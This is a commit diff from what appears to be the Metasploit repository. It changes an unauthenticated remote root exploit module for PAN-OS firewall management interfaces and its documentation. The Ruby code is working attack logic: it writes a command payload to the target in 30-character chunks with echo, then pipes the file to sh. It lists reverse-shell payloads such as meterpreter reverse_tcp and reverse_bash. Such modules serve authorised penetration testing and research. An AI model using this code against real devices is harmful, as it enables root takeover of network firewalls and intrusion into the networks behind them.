Skip to content

Commit 41bcf46

Browse files
committed
The payload we essentially being encoded twice (thanks for calling this out Brendan), we now supply a suitable BadChars and let the framewrk encode the framework paylaod. We rename the variable payload to bootstrap_payload as this was colliding with the frameworks payload variable which was not the intent.
1 parent d2f6e0e commit 41bcf46

File tree

2 files changed

+20
-11
lines changed

2 files changed

+20
-11
lines changed

documentation/modules/exploit/linux/http/panos_management_unauth_rce.md

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,8 @@ run the exploit against the target. The default user is `admin` with a password
1818
to change this upon logging in for the first time.
1919

2020
The exploit has been tested against PAN-OS `10.2.8` and `11.1.4`, with the
21-
payload `cmd/linux/http/x64/meterpreter_reverse_tcp`.
21+
payloads `cmd/linux/http/x64/meterpreter_reverse_tcp`, `md/linux/http/x64/meterpreter/reverse_tcp`,
22+
and `cmd/unix/reverse_bash`.
2223

2324
## Verification Steps
2425

modules/exploits/linux/http/panos_management_unauth_rce.rb

Lines changed: 18 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -43,8 +43,17 @@ def initialize(info = {})
4343
'Platform' => [ 'linux', 'unix' ],
4444
'Arch' => [ARCH_CMD],
4545
'Privileged' => true, # Executes as root on Linux
46-
'Targets' => [ [ 'Default', {} ] ],
47-
# NOTE: Tested with the payload: cmd/linux/http/x64/meterpreter_reverse_tcp
46+
'Targets' => [
47+
[
48+
'Default', {
49+
'Payload' => { 'BadChars' => '\\\'"&' }
50+
}
51+
]
52+
],
53+
# NOTE: Tested with the payloads:
54+
# cmd/linux/http/x64/meterpreter_reverse_tcp
55+
# cmd/linux/http/x64/meterpreter/reverse_tcp
56+
# cmd/unix/reverse_bash
4857
'DefaultOptions' => {
4958
'RPORT' => 443,
5059
'SSL' => true,
@@ -109,23 +118,22 @@ def check
109118
def exploit
110119
tmp_file_name = Rex::Text.rand_text_alphanumeric(4)
111120

112-
cmd = "rm -f #{datastore['WRITABLE_DIR']}/#{tmp_file_name}*;#{payload.encoded}"
113-
114-
payload = Base64.strict_encode64(cmd)
121+
bootstrap_payload = "rm -f #{datastore['WRITABLE_DIR']}/#{tmp_file_name}*;#{payload.encoded}"
115122

116123
idx = 1
117124

118125
chunk_size = 30
119126

120-
max_idx = (payload.length / chunk_size) + 1
127+
max_idx = (bootstrap_payload.length / chunk_size) + 1
121128

122-
while payload && !payload.empty?
129+
while bootstrap_payload && !bootstrap_payload.empty?
123130

124131
print_status("Uploading payload chunk #{idx} of #{max_idx}...")
125132

126-
chunk = payload[0, chunk_size]
133+
chunk = bootstrap_payload[0, chunk_size]
127134

128-
payload = payload[chunk_size..]
135+
bootstrap_payload = bootstrap_payload[chunk_size..]
136+
print_status(chunk.inspect)
129137

130138
execute_cmd("echo -n '#{chunk}'>#{datastore['WRITABLE_DIR']}/#{tmp_file_name}#{idx}")
131139

@@ -138,7 +146,7 @@ def exploit
138146

139147
print_status('Executing payload...')
140148

141-
execute_cmd("cat #{datastore['WRITABLE_DIR']}/#{tmp_file_name} | base64 -d | sh", dontfail: true)
149+
execute_cmd("cat #{datastore['WRITABLE_DIR']}/#{tmp_file_name}|sh", dontfail: true)
142150
end
143151

144152
def execute_cmd(cmd, dontfail: false)

0 commit comments

Comments
 (0)